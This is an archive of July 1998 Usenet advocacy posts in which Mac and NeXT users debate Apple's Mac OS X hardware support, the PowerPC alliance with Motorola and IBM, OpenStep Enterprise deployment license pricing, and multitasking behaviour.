> ---------------------------------------------------------
> Macos- the most awesome os in the world!!
> ---------------------------------------------------------
Your ramblings are truly amusing. Thanks for the entertainment! :)
Edwin
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Thu, 23 Jul 1998 11:10:51 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2307981110510001@castle.webis.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p022p$8s1$1@news.spacelab.net> <6p1hll$f44$1@news10.ispnews.com> <6p4f9i$fpq$2@ironhorse.plsys.co.uk> <ant221458bbaLJLo@om107.acorn.co.uk>
NNTP-Posting-Date: 23 Jul 1998 16:10:50 GMT
In article <ant221458bbaLJLo@om107.acorn.co.uk>, Dave Griffiths
<dgriffit@acorn.co.uk> wrote:
: In article <6p4f9i$fpq$2@ironhorse.plsys.co.uk>, mmalcolm crawford
: <URL:mailto:malcolm@plsys.co.uk> wrote:
:
: > What about any *user*? A couple of months ago I had a genuine reason for
: > opening about 150 windows in a single application. It made the task I was
: > undertaking a *lot* easier.
:
: Would you like to share that reason with us? In all my years of using
: GUI's I've never had a genuine reason for opening more than about two
: windows at a time. Curious to know what you were doing.
:
I've never wanted to open 150 windows, but have many time accidentally.
Try accidentally opening a full folder of documents with 800 EPS files.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 23 Jul 1998 16:09:12 GMT
Message-ID: <6p7n78$f0l$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <1dchrj7.1pmajnlrqkgqjN@quern.demon.co.uk> <6p6s8o$qk5$1@news2.ispnews.com>
In-Reply-To: <6p6s8o$qk5$1@news2.ispnews.com>
On 07/22/98, Earl Malmrose wrote:
>jonathan@quern.demon.co.uk (Jonathan Sanderson) :
>>
>> If memory serves, we had this thread about a year ago in
>> cs.next.advocacy. Someone closed it (in relation to NS) by setting
up a
>> background job on their slab. After a weekend of generating
offscreen
>> windows it was beginning to bog down a bit, but was essentially
still
>> going strong.
>
>See how long NS can generate threads.
I got up to 3301 threads (inside one task) on my 128MB PowerPC box,
then things started to act funny. The limit could be something else,
such as the maximum number of ports allowed by the kernel. In any
case, it should fail a bit more gracefully.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: redavies@erols.com (Richard Davies)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Thu, 23 Jul 1998 12:21:48 -0400
Organization: RCN Internet
Message-ID: <redavies-2307981221480001@207-172-146-194.s194.tnt3.ann.erols.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <6p406d$bc7$1@supernews.com> <see-below-2207980053080001@dynamic23.pm04.mv.best.com> <stevehix-2207980846390001@ip48.safemail.com>
In article <stevehix-2207980846390001@ip48.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
> In article <see-below-2207980053080001@dynamic23.pm04.mv.best.com>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > In article <6p406d$bc7$1@supernews.com>,
> jcr.remove@this.phrase.idiom.com wrote:
> >
> >
> > > And NT was selected by whom, exactly?
> >
> > Probably Congress...
>
> No, more likely some obscure committee at BuShips.
Chuckle
BuShips went away in 1966. The "committee" was probably three guys sitting
around a table at the deli in the Buchanan Mall near NAVSEA.
-Dick
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 1998 11:26:47 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu>
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In-Reply-To: <6p7leg$al7$6@hecate.umd.edu>
On 23 Jul 1998 davewang@wam.umd.edu.delete.after.edu wrote:
> Peter (pxpst2@SPAM.SUXS.unixs.cis.pitt.edu) wrote:
> : davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>
<snip>
> You forget that no so long ago (5-6 years) there was a big annoucement
> of the great alliance called AIM. The unstated and modest goal was to
> acquire 10% of the CPU market in a decade. (Can't remember where I read
> this from now) That won't be happening now. Motorola had very aggresive
> goals to push and expand PPC chips, and really churn it out. Their
> frustration was that their ability to push the chip was being limited by
> the whim of another company, Apple.
Hold it!
While Apple has done some incredibly boneheaded and detrimental things to
the Mac platform (which is the major source of demand for PPC chips in
personal computers), neither Motorola nor IBM did any kind of advertising
for the chips.
While Intel spends large amounts of money on ad campaigns providing a
large amount of visibility for their chips and association with the PC
makers (who always have their Intel Inside chime at the end of their
commercials), Motorola and IBM were and still are _silent_. IBM was and
still is selling computers based on Intel's chips! Motorola is
implementing a changeover to x86 based PCs running Windows NT.
Apple definitely shares a lot of the responsibility for the current
PowerPC situation, but it would be completely ridiculous to lay all the
blame on Apple when IBM and Motorola share a great deal of it too.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 23 Jul 1998 16:49:48 GMT
Organization: Michigan State University
Message-ID: <6p7pjc$1r3$1@msunews.cl.msu.edu>
References: <joe.ragosta-2207982122200001@elk62.dol.net> <B1DBE931-3BCBE@206.165.43.118>
<Macghod-2207982123410001@sdn-ar-001casbarp145.dialsprint.net>
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Cc: Macghod@concentric.net
In <Macghod-2207982123410001@sdn-ar-001casbarp145.dialsprint.net> Steve
Sullivan wrote:
> In article <B1DBE931-3BCBE@206.165.43.118>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Joe Ragosta <joe.ragosta@dol.net> said:
> >
> > >And that's _exactly_ the problem. In case you hadn't noticed,
Apple
> > >doesn't have unlimited manpower.
> >
> >
> >
> > But if a million of us indicated taht we'd be willing to pay $50
more each,
> > Apple would certainly have the manpower in short order if they
wanted that
> > $50 extra ON TOP OF the normal income from MacOS X sales.
> >
> > In fact, I'm guessing that more 604e customers would be willing to
buy
> > MacOS X than G3 customers because the G3 sales were towards
consumers, but
> > early 604/604e sales were all towards professionals.
> >
> > Anyone Mac developer who wanted to develop for Rhapsody HAD to
purchase a
> > 604e machine -the G3 machines STILL are not supported all that
well, or at
> > least not the laptops.
You know what was really kind of insane was the 6-8 months before DR1
that Apple was telling developers to buy Intel Boxes to run Openstep
to develop for YB.
Then as DR1 emerged - and I think this is public knowledge now
support for PM 8x00, 9x00 emerged..
I would say that if Apple drops the 8x00, 9x00 support they'd
be fools. Wether they will support older powermacs that is
hard to say. It seems to be that Apple is saying to all the
older folks you can have MacOS, but you have to upgrade
to get access to MacOS X. I know I'd be leary, but I think
Apple knows full well that legacy compatibility with MacOS
applications (i.e. software investment) may be enough to
keep folks in the Apple camp - for a while. I don't know
how much the antipathy toward MS is - but I'd expect
there are more and more Mac users that have PC's
somewhere nearby. I know more professionals have
or are investigating them for various reasons - the main
one - Apple moving to single source - fully closed -
proprietary systems. They still won't release hardware
information to free 'nix developers (AFAIK), and BeOS
on PPC is all but running on fumes (no new driver
development). Great idea to push other OS's off
your hardware platform.
Here is another reason why Apple is diving head long
into the mist of obscurity.
Hardware has one rule. Have as many OS's as possible
on it.
Software has another. Run on as much hardware as you
can.
Apple is clearly breaking both of those rules - and seeminly
desiring 1 OS, on 1 Hardware platform..
I guess thinking different means - think dead..
BTW: Anyone know how many MacOS applications have
been ported or are available on the PC? I'd be curious
to hear from anyone who says they have something they
absolutely need (in terms of software packages) that
can't be found on a PC.
I suspect if a good investigation were to be done you'd
find very little on the Mac that isn't on the PC.
Apple is making a terrible mistake by folding in on itself
into a fully proprietary mode. SGI may not be sucessful
with NT - but they do see the writing on the wall -
proprietary is more expensive to design - produce
- and to support.. And in the end it means a shrinking
market. And Apple ain't no SGI - their hardware designs
have lagged behind PC's for many years.
SGI was and IS cutting edge.
I think it is critical for Apple to split the company into
two independant units - OS, and Hardware. If they
did I'm sure the OS company would keep Intel around.
It would be a no-brainer for a OS only company.
And Hardware would want to have as many OS's
running on it as possible.
> Come on guys, lets get realistic. I tell you what, if these "million
> people" agree to pay $50 up front, we can have someone who knows high
> level people at apple agree to the following plan:
> when 1 million people each pony up $50 hard cash into this account
(so
> thats $50 million dollars) which will be for getting os x to run on
all
> pci machines, apple will promptly use this money to start making os x
run
> on all pci machines. BUT not UNTILL the $50 million dollars is in
the
> special account.
Frankly I don't think MacOS X Server will cost $50. You guys
are dreaming if you think this.. I'd be suprised if it cost $100-200.
> I bet Apple would agree to this too. That if some lawyer type sets
up
> this account (apple wouldnt want to set up the account, they sure as
hell
> arent going to take the responsibility, especially if it doesnt get
the
> $50 million and people want their money back, nope its not apples
> responsibility).
I can't see it. And I don't think it will happen. If Apple is
already
complaining about drivers for Intel, and testing the many different
boxes (hell if even a limited but important subset) that they'd
dig into the quagmire of 7x00, 6x00, etc. for a fraction of the
2-3million(guestimate) boxes. I think your smoking something :)
The potential Intel market even if a tiny fraction 1-3% would give
them that number and they are balking at that - and the above
1-3% would DOUBLE their installed base..
Apple has to see this - more and more I'm suspecting there is a Bill
Gates
in the works here. If Apple gave up the PC action for MS-Office then
they were nuts. They give up what Gates values the most, access
to his marketshare, for a lever that Gates can use to make Apple
dance like a puppett (i.e. oh sorry having problems porting MS-Office)
I smell something fishy here. And either Apple has something
up its sleeve or its just blowing smoke - and dancing like the puppet
it is. I really hope I'm just flat wrong¼
> Apple then agrees that they have absolutely no obligation
responsibility
> with the "fund" untill the $50 million is raised and given to Apple,
and
> then and only then does Apple obligate itself make sure os x will run
on
> all pci powermacs.
>
> Ya see, its one thing to say "I would gladly pay $50", its quite
another
> to pony up this $50 in advance
>
I'd bet you'd have to do better than $50/per
Just a few sticks for the oncoming fire.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 23 Jul 1998 16:56:18 GMT
Organization: Michigan State University
Message-ID: <6p7pvi$1r3$2@msunews.cl.msu.edu>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net>
<6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
<6p7leg$al7$6@hecate.umd.edu>
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Cc: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu
In <6p7leg$al7$6@hecate.umd.edu> David T. Wang wrote:
> Peter (pxpst2@SPAM.SUXS.unixs.cis.pitt.edu) wrote:
> : davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
wrote:
>
> : > Maybe Motorola is still stung from the $100 Million MCG debacle.
>
> : David
> : Motorola was stung by Apple with regard to cloning but that was a
really
> : small amount.( 100 million that is).
>
> : Motorola's current problems are ALL rooted in the fact that the
cell
> : phones that they are making and had planed to make for another 8-12
months
> : are ANALOG. And I am sure you know how well analog phones are
selling
> : these days? MOT screwed up big time on their bread and butter
buisiness
> : and everybody here makes it into an Apple vs Mot pissing contest.
> : Currently Mot is trading at 52 week low levels and they have BIG
problems
> : which even doubling the CPUs sold would not help appreciatably.
The CPU
> : bisiness is the only good thing at Motorola these days but it is a
small
> : part of their core business and it will be years before it is an
> : appreciatable fraction of their total business.
>
> You forget that no so long ago (5-6 years) there was a big
annoucement
> of the great alliance called AIM. The unstated and modest goal was
to
> acquire 10% of the CPU market in a decade. (Can't remember where I
read
> this from now) That won't be happening now. Motorola had very
aggresive
> goals to push and expand PPC chips, and really churn it out. Their
> frustration was that their ability to push the chip was being limited
by
> the whim of another company, Apple. I'm not attributing Motorola's
> current troubles to the $100 Million MCG write off. I'm attributing
> Motorola's attitude to PPC to how the whole disagreement with Apple
lead
> to the demise of MCG. Motorola really just wanted to sell PPC chips,
> to everyone and everywhere, and at the end, it couldn't do that
without
> MacOS, and Motorola had no choice but to scale back its PPC
development
> efforts. (motherboard, etc)
I guess this is what Steve Jobs called payback.. Motorola gave NeXT
no end of headache with RAM and CPU availability AFAIK.
And to think (as rumor had it) that Steve told Motorola that he didn't
need PPC. With the recent moves you'd look back and think Apple
just cut their own throats.
Moral: Good Business is win-win. Bad Business is win-lose. Apple
consistently is following the latter to its own benefit with it's
partners.
I suspect there are few companies that will tie their future up with
Apple at this point because of this attitude.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <gmgraves-2207982340290001@sf-usr1-9-137.dialup.slip.net>
Message-ID: <35b75638.0@news.depaul.edu>
Date: 23 Jul 98 15:26:48 GMT
In comp.sys.next.advocacy George Graves <gmgraves@slip.net> wrote:
> In article <joe.ragosta-2207981937230001@elk80.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > Does anyone know what socket the K7 will use?
> Socket 7, I think the article said.
Nope, it's going to use the socket/slot design Digital created
for the Alpha.
--
"... and subpoenas for all." - Ken Starr
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-fOr2d6QXtNd6@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu>
MIME-Version: 1.0
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Date: 23 Jul 1998 15:11:32 GMT
Organization: IBM.NET
On Wed, 22 Jul 1998 21:15:59, Jonathan W Hendry
<jhendry@shrike.depaul.edu> thought aloud:
> In comp.sys.next.advocacy Martin Cox <mcox@ihug.co.nz> wrote:
> > Again, Apple _owes_ us nothing. But extending OS X to PCI PowerMacs would
> > be a large marketing coup, and a great boost to Apple's customer loyalty
> > base.
>
> What exactly are you loyal to? Apple seems to have a lot of 'loyal'
> customers who will do *anything* to avoid buying Apple's products.
Loyalties aside, I bought my first new Powermac last year because of
the promise Rhapsody (now renamed) held. I also didn't want to see
Apple die. I also started to use Mac OS Classic for some of my work to
get acquainted with the "user experience" that was supposed to become
the cornerstone of the promised modern OS.
I haven't seen "loyal customers who will do anything to avoid buying
Apple products".
> Basically your argument is that these people, who aren't willing to
> buy new Macs, won't buy new Macs if Apple doesn't play along. But
> if Apple does play along, they still won't buy Macs. Not exactly
> a win-win situation, is it?
Would you admit that forcing people with only one-year-old Apple
Powermacs to buy totally new systems just to be able to run the
upcoming modern OS is a little unreasonable? Esp. since many recent
pre-G3 systems were sold/bought with the perceived compatibility -
according to Apple - in mind. These kinds of sudden obsoletion moves -
conveniently at the time when pre-G3 systems were just about sold out
- make a poor precedent what comes to people's willingness to upgrade
their hardware. Besides, much of Apple's enviable brand loyalty
(they're now #2) was based on the long useful lifetime of Apple's
products. Going from perhaps the best to worst is going to cause users
to question the grounds of their platform loyalty.
What comes to your lose-lose theory, I would argue that satisfied
users are more likely to upgrade their software (OS sales) and
hardware than those who feel shafted. I was indeed going to buy
another desktop and a Powerbook in the next 6-12 months but not if
Apple feels they can unilaterally withdraw support from only 1-2 year
old hardware as it suits them. Customer confidence doesn't exactly
blossom within a captive userbase if it feels mistreated.
Rgds,
--
taiQ
[this space is intentionally blank]
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 12:48:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p7be7$icj$1@nnrp1.dejanews.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com>
jkheit@mediaone.net wrote:
> aman@aman.com (A-Man) wrote:
> > There's a meme here that the Mac UI can begin to shed the remnants of
> > previous small screen limitations. There are suggestions that various
> > NeXT UI concepts can be used since more Mac users have larger screens
> > these days. Well, that may not be true of a certain consumer portable
> > computer to be released next year. ...
> > It may soon be more important than ever that the Mac UI functions well and
> > looks good on a 9" display...
>
> Jeez, if by next year the best they can do is release a consumer portable
> with *only* a 9" screen, they deserve what they can get. There's no excuse
> today to release anything but an XGA screen. 12" XGA screens at a minimum.
Well... for a laptop-style machine, I agree. But for a PDA-style machine
(which is probably what the original poster had in mind), 12" is obviously
impractical. So if the objective is to have some kind of Mac OS "lite" as the
PDA OS, one obviously wants something optimized for a small screen.
None of which should mean crippling the UI for the full-size Mac OS X,
though. I do believe that the former NeXTSTEP/OPENSTEP programmers at Apple
have all the skills they need to produce something that will work really well
in both environments -- by which I do not mean a single UI for both uses, but
an OS that is able to provide a UI that works for each. The question isn't
whether they can do so, it's whether the marketing people will let them do so
rather than imposing some crippled UI version.
Stefano
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 11:02:35 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2307981102350001@castle.webis.net>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2207981027570001@news>
NNTP-Posting-Date: 23 Jul 1998 16:02:33 GMT
In article <andyba-ya02408000R2207981027570001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
: In article <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu>,
: Pulsar <tokarek@uiuc.edu> wrote:
:
: > On Tue, 21 Jul 1998, Michael Schuerig wrote:
: >
: > > You can bet that someone will put out an extension that transparently
: > > slips in Nav Services for apps that don't support them, yet.
: >
: > That's doubtful. Even if they get some of the look down, they will most
: > likely be unable to make them non-system modal. That is the biggest flaw
: > to the current Open/Save dialogs (IMO).
:
: No, you don't understand: the current Navigation Services dialogs ARE
: non--system modal! If someone can make an extension that allows current
: apps to use the new dialogs, then they will work the way you desire.
An extension on an Early 98 Dev Cd had such an extension/Control Panel. It
worked in 75% of the apps providing Nav Services to those apps. I think it
was a tad unstable, but it did work. A problem I had was that since the
apps weren't written with Nav services in mind, even though I could move
and resize the Nav window, the app didn't update its window contents.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 23 Jul 1998 11:08:35 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2307981108350001@castle.webis.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 23 Jul 1998 16:08:33 GMT
In article <6p45f7$l73$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
: In article <Josh.McKee-2107981856040001@pm3a15.rmac.net>,
: Josh.McKee@cbns.com (Joshua T. McKee) wrote:
:
: > > The Macintosh should get preemptive multitasking (with a variety of
: > > scheduling methods possible). As a practical matter, Macintosh
multitasking
: > > is as useable, if not more, than Windows 95 multitasking.
: >
: > A statement I agree with 100%...it isn't perfect, but it's far from being
: > as bad as people make it out to be.
:
: Why don't you enumerate some instances where Windows 95 multitasking is
: inferior to Mac OS multitasking?
:
I know this was't directed towards me, but I'll answer this since it
happened recently.
1) Under Win 95, I could not switch apps at all (Windows Explorer and
WebTrends) because WebTrends was analyzing a log file.
2) Same under Win NT.
3) Was trying to open up Network Neighborhood on a Novell network,
couldn't move any windows until it finished. Win 95.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: OpenStep Enterprise Deployment License - Outrageous
Date: Thu, 23 Jul 1998 10:30:53 -0700
Organization: Digital Universe Corporation
Message-ID: <35B7734D.DDDCC862@alum.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 23 Jul 1998 17:31:46 GMT
After all of the discussion (and rumor) about the OpenStep 4.2 deployment
license costs, I decided to get the real scoop. I was very unhappy to find out
that I was way off-base (i.e. too low) when it came to license costs.
The main problem is that Apple currently doesn't offer a non-EOF license for
OpenStep. You have to purchase EOF along with Foundation and AppKit. With that
said, depending upon the number of users you are deploying to, and the amount of
discount you are eligible for, you will be paying anywhere from:
$640-$850 per seat for OpenStep Enterprise 4.2!
The actual pricing schedule is below. Please, Apple, un-bundle EOF from
YellowBox and give us deployment costs of $0-$19/seat!
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=++=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Yes, I have the pricing for you. With this licensing you automatically
still receive EOF as part of the package. We don't have it broken down
with out it.
OPENSTEP ENTERPRISE DEPLOYMENT LICENSES
N9058 OSE 4.2 15 User Deployment License-supports Windows NT,
Solaris, HP/UX platforms
COST-- $12,799
N9059 OSE 4.2 30 User Deployment LIcense-support above platforms
COST-- $24,999
N9060 OSE 4.2 50 User Deployment License-supports above platforms
COST-- $39,999
Keep in mind that as an EAP member, you also receive a 20% discount on
the above deployment costs.
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=++=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OpenStep Enterprise Deployment License - Outrageous
Newsgroups: comp.sys.next.advocacy
References: <35B7734D.DDDCC862@alum.mit.edu>
Message-ID: <35b77df2.0@news.depaul.edu>
Date: 23 Jul 98 18:16:18 GMT
Eric Hermanson <eric@alum.mit.edu> wrote:
> The actual pricing schedule is below. Please, Apple, un-bundle EOF from
> YellowBox and give us deployment costs of $0-$19/seat!
This doesn't follow, *at all*.
You're assuming, erroneously, that the entire license fee is due
to EOF. There's no reason to assume this is the case. The reason
for only shipping the two together probably has more to do with
they way its used. OpenStep customers want EOF, so it'd be silly
to require two different SKU's.
If Apple removed EOF from OpenStep/Enterprise, do you *really*
think its price would drop to $0-$19/seat? No way in hell!
You are also assuming that the license fee for EOF would have to
remain high in YellowBox, which is also rather silly.
--
"... and subpoenas for all." - Ken Starr
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep Enterprise Deployment License - Outrageous
Date: Thu, 23 Jul 1998 11:28:27 -0700
Organization: Digital Universe Corporation
Message-ID: <35B780CB.4BC40804@alum.mit.edu>
References: <35B7734D.DDDCC862@alum.mit.edu> <35b77df2.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 23 Jul 1998 18:29:23 GMT
Jonathan W Hendry wrote:
> You're assuming, erroneously, that the entire license fee is due
> to EOF. There's no reason to assume this is the case. The reason
> for only shipping the two together probably has more to do with
> they way its used. OpenStep customers want EOF, so it'd be silly
> to require two different SKU's.
OpenStep customers that want to ship end-user, mass-market applications built
with AppKit probably don't want EOF. That was my basic point.
> If Apple removed EOF from OpenStep/Enterprise, do you *really*
> think its price would drop to $0-$19/seat? No way in hell!
I assume it would drop significantly. The $0-$19 range was my wishful
thinking. The only thing(s) keeping the OSE licensing cost so high right now
are PostScript, maybe some UNIX licensing, and the EOF lisence. I assumed that
the EOF lisence was the largest chunk of the price. Maybe I'm wrong?
> You are also assuming that the license fee for EOF would have to
> remain high in YellowBox, which is also rather silly.
If Apple were clever, they would un-bundle EOF and continue selling it as a
separate product. That technology is not useful to the mainstream "Mac-heads",
on the other hand, it is extremely useful to large businesses who are willing to
pay several thousand dollars for it. It would be sort of silly, in my opinion,
to bundle EOF into a $19 YellowBox license.
The whole idea of one-OS, one-technology (i.e. MacOS-X) seems short sighted to
me. I am of the opinion that there should always be two levels of product
offerings: consumer level, pro level. MacOS, Foundation, Appkit, WebScript are
consumer level. Rhapsody Server, EOF, InterfaceBuilder, ProjectBuilder,
WebObjects Enterprise are "pro" level. I hope Apple continues to market things
that way. If they don't, we'll either end up with overpriced consumer products
(due to all the technology bundling), or severely disabled server and
development products (due to lack of money and profits on EOF, Rhapsody, etc).
Eric
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 23 Jul 1998 18:40:11 -0500
Organization: Prairie Group
Message-ID: <MPG.102185c91d2b158d9899ea@news.supernews.com>
